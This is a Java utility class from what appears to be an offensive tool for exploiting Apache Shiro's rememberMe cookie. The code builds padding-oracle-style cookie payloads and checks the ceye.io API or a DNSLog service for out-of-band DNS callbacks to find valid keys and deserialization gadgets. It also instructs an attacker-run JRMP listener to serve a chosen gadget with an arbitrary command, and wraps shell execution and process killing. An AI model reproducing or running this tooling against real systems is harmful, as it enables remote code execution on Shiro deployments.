package com.shiroexploit.util;

import org.apache.commons.codec.DecoderException;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.codec.binary.Hex;
import org.json.JSONArray;
import org.json.JSONObject;
import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.Random;

public class Tools {

    public static String xor(String hex1, String hex2){
        if(hex1.length() % 2 !=0){
            hex1 = 0 + hex1;
        }

        if(hex2.length() % 2 != 0){
            hex2 = 0 + hex2;
        }

        int len = Math.min(hex1.length(), hex2.length());
        StringBuffer sb = new StringBuffer();
        for(int i=0; i < len; i=i+2){
            String temp1 = hex1.substring(hex1.length()-i-2, hex1.length()-i);
            String temp2 = hex2.substring(hex2.length()-i-2, hex2.length()-i);
            int num1 = Integer.parseInt(temp1,16);
            int num2 = Integer.parseInt(temp2,16);

            int res = num1 ^ num2;
            String hex = Integer.toHexString(res);
            if(hex.length() < 2){
                hex = 0 + hex;
            }

            sb.insert(0, hex);
        }

        return sb.toString();
    }

    public static String generateSuffix(int num) {
        if (num == 1) {
            return "";
        }

        String result = "";
        for (int i = 0; i < (num - 1); i++) {
            String hex = Integer.toHexString(num);
            if (hex.length() < 2) {
                hex = "0" + hex;
            }
            result += hex;
        }

        return result;
    }

    public static String generatePayload(String rememberMe, String IV, String cipherText){
        String payload = rememberMe + IV + cipherText;
        byte[] bytes = new byte[0];
        try {
            bytes = Hex.decodeHex(payload);
        } catch (DecoderException e) {
            e.printStackTrace();
        }

        return Base64.encodeBase64String(bytes);
    }

    public static byte[] exec(String cmd){
        Process process = null;
        try {
            if(File.separator.equals("/")){
                process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
            }else{
                process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/C", cmd});
            }
        } catch (IOException e) {
            e.printStackTrace();
        }

        InputStream in1 = process.getInputStream();
        byte[] stdout = inputStreamToBytes(in1);

        InputStream in2 = process.getErrorStream();
        byte[] stderr = inputStreamToBytes(in2);

        if(stdout.length != 0){
            return stdout;
        }else{
            return stderr;
        }
    }

    public static byte[] inputStreamToBytes(InputStream in){
        ByteArrayOutputStream baos = null;
        try{
            baos = new ByteArrayOutputStream();
            int len = 0;
            byte[] bytes = new byte[1024];
            while((len = in.read(bytes)) != -1){
                baos.write(bytes, 0, len);
            }

            byte[] result = baos.toByteArray();
            return result;
        }catch(IOException e){
            return null;
        }finally {
            try {
                if(baos != null){
                    baos.close();
                }

                if(in != null){
                    in.close();
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }

    public static String getValidKeyFromCeye(Map<String,String> map, String token){
        try{
            //延迟几秒，确保ceye产生正确的响应
            Thread.sleep(Config.getInstance().getFetchDNSLogResultDealy() * 1000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }

        for(String uuid : map.keySet()){
            String url = "http://api.ceye.io/v1/records?token=" + token + "&type=dns&filter=" + uuid.substring(0,20);

            String result = null;
            try {
                result = HttpRequest.getResponse(url);
            } catch (IOException e) {
                //pass
            }

            if(result == null) continue;
            if(result.trim().equals("")) continue;
            JSONObject jsonObject = new JSONObject(result);
            JSONArray array = jsonObject.getJSONArray("data");
            if(array.length() > 0){
                return map.get(uuid);
            }
        }

        return null;
    }

    public static List<PayloadType> getValidGadgetsFromCeye(Map<String,PayloadType> map, String token){
        try{
            //延迟几秒，确保ceye产生正确的响应
            Thread.sleep(Config.getInstance().getFetchDNSLogResultDealy() * 1000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }

        List<PayloadType> list = new ArrayList<>();

        for(String uuid : map.keySet()){
            String url = "http://api.ceye.io/v1/records?token=" + token + "&type=dns&filter=" + uuid.substring(0,20);
            String result = null;
            try {
                result = HttpRequest.getResponse(url);
            } catch (IOException e) {
                //pass
            }
            if(result == null) continue;
            if(result.trim().equals("")) continue;
            JSONObject jsonObject = new JSONObject(result);
            JSONArray array = jsonObject.getJSONArray("data");
            if(array.length() > 0){
                list.add(map.get(uuid));
            }
        }

        return list;
    }

    public static boolean getCeyeResult(String uuid, String token){
        try{
            //延迟几秒，确保ceye产生正确的响应
            Thread.sleep(Config.getInstance().getFetchDNSLogResultDealy() * 1000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }

        String url = "http://api.ceye.io/v1/records?token=" + token + "&type=dns&filter=" + uuid.substring(0,20);
        String result = null;
        try {
            result = HttpRequest.getResponse(url);
        } catch (IOException e) {
            e.printStackTrace();
        }

        JSONObject jsonObject = new JSONObject(result);
        JSONArray array = jsonObject.getJSONArray("data");
        if(array.length() > 0){
            return true;
        }

        return false;
    }

    public static String getValidKeyFromDNSLog(Map<String, String> map)
    {
        try {
            Thread.sleep(Config.getInstance().getFetchDNSLogResultDealy() * 1000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }

        String dnsRecord;
        try {
            dnsRecord = HttpRequest.getDNSLogResult();
        } catch (IOException e) {
            return null;
        }

        if (dnsRecord == null) return null;

        for (String uuid : map.keySet()) {
            if (dnsRecord.contains(uuid)) {
                return map.get(uuid);
            }
        }

        return null;
    }

    public static List<PayloadType> getValidGadgetsFromDNSLog(Map<String, PayloadType> map)
    {
        try {
            Thread.sleep(Config.getInstance().getFetchDNSLogResultDealy() * 1000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }

        String dnsRecord;
        try {
            dnsRecord = HttpRequest.getDNSLogResult();
        } catch (IOException e) {
            return null;
        }

        if (dnsRecord == null) return null;

        List list = new ArrayList();
        for (String uuid : map.keySet()) {
            if (dnsRecord.contains(uuid)) {
                list.add(map.get(uuid));
            }
        }

        return list;
    }

    public static boolean getValidDNSLogRecord(String uuid)
    {
        try {
            Thread.sleep(Config.getInstance().getFetchDNSLogResultDealy() * 1000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }

        String dnsRecord;
        try {
            dnsRecord = HttpRequest.getDNSLogResult();
        } catch (IOException e) {
            return false;
        }

        if (dnsRecord == null) return false;

        return dnsRecord.contains(uuid);
    }

    public static void setJRMPServer(String ip, int port, PayloadType type, String cmd){
        String finalcmd = "";
        try {
            finalcmd = URLEncoder.encode(cmd,"UTF-8");
            finalcmd = finalcmd.replaceAll("\\+","%20");
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
        }

        String url = "http://" + ip + ":" + port + "/jrmp?type=" + type.getName() + "&cmd=" + finalcmd;

        try {
            HttpRequest.getResponse(url);
        } catch (IOException e) {
            //pass
        }

        //给时间让server端把JRMPListener建立起来
        try {
            Thread.sleep(2000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }

    public static void killJRMPListener(int port){
        if(File.separator.equals("/")){
            killJRMPListenerInLinux(port);
        }else{
            killJRMPListenerInWindows(port);
        }
    }

    public static void killJRMPListenerInWindows(int port){
        String pid = null;
        String getPid = "netstat -ano | findstr \"" + port + "\"";
        byte[] res = exec(getPid);
        String result = new String(res);
        if(result.trim().equals("")) return;
        String[] lines = result.split("\r\n|\n");
        for(String line : lines){
            String[] parts = line.trim().split("\\s+");
            if(parts[3].equalsIgnoreCase("listening")){
                pid = parts[4];
                break;
            }
        }

        if(pid != null){
            String killPid = "taskkill /F /pid " + pid;
            exec(killPid);
        }
    }

    public static void killJRMPListenerInLinux(int port){
        String pid = null;
        String getPid = "lsof -i:" + port;
        byte[] res = exec(getPid);
        String result = new String(res);
        if(result.trim().equals("")) return;
        String[] lines = result.split("\r\n|\n");
        String[] parts = lines[1].trim().split("\\s+");
        pid = parts[1];

        if(pid != null){
            String killPid = "kill -9 " + pid;
            exec(killPid);
        }
    }

    public static List<String> getPaths(String staticFilePath){
        List<String> paths = new ArrayList<>();

        URL url = null;
        try {
            url = new URL(staticFilePath);
        } catch (MalformedURLException e) {
            e.printStackTrace();
        }
        String path = url.getPath();

        if(path.startsWith("\\") || path.startsWith("/")){
            path = path.substring(1);
        }

        paths.add(path);

        int index1 = path.indexOf("/");
        int index2 = path.indexOf("\\");
        int index = -1;

        if(index1 >= 0 && index2 >= 0){
            index = index1 < index2 ? index1 : index2;
        }else if(index1 < 0 && index2 < 0){
            index = -1;
        }else{
            index = index1 > index2 ? index1 : index2;
        }

        if(index >= 0){
            path = path.substring(index + 1);
            paths.add(path);
        }

        return paths;
    }

    public static List<String> getPayloadNames(){
        List<String> list = new ArrayList<>();

        for(PayloadType type : PayloadType.values()) {
            list.add(type.getName());
        }

        return list;
    }

    public static List<String> getEchoTypes(){
        List<String> list = new ArrayList<>();

        for(EchoType type : EchoType.values()) {
            list.add(type.getName());
        }

        return list;
    }

    public static <T> T randomSelect(List<T> list){
        int index = new Random().nextInt(list.size());
        return list.get(index);
    }
}
